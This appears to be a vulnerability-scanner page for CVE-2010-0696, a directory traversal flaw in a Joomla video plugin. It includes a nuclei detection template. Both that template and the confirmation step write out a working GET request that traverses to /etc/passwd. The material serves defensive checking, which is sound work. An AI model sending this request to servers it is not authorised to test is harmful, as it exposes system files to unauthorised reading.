Joomla! Component Jw_allVideos - Arbitrary File Retrieval

mediumseverity

5CVSS score

28.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in includes/download.php in the JoomlaWorks AllVideos (Jw_allVideos) plugin 3.0 through 3.2 for Joomla! allows remote attackers to read arbitrary files via a ./../.../ (modified dot dot) in the file parameter.

Impact

An attacker can exploit this vulnerability to retrieve arbitrary files from the server.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plugins/content/jw_allvideos/includes/download.php?file=../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-0696 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-0696

info:
  name: Joomla! Component Jw_allVideos - Arbitrary File Retrieval
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in includes/download.php in the JoomlaWorks AllVideos (Jw_allVideos) plugin 3.0 through 3.2 for Joomla! allows remote attackers to read arbitrary files via a ./../.../ (modified dot dot) in the file parameter.
  impact: |
    An attacker can exploit this vulnerability to retrieve arbitrary files from the server.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11447
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0696
    - http://www.joomlaworks.gr/content/view/77/34/
    - http://www.exploit-db.com/exploits/11447
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-0696
    cwe-id: CWE-22
    epss-score: 0.28222
    epss-percentile: 0.9813
    cpe: cpe:2.3:a:joomlaworks:jw_allvideos:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlaworks
    product: jw_allvideos
  tags: cve2010,cve,joomla,lfi,edb,joomlaworks,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/content/jw_allvideos/includes/download.php?file=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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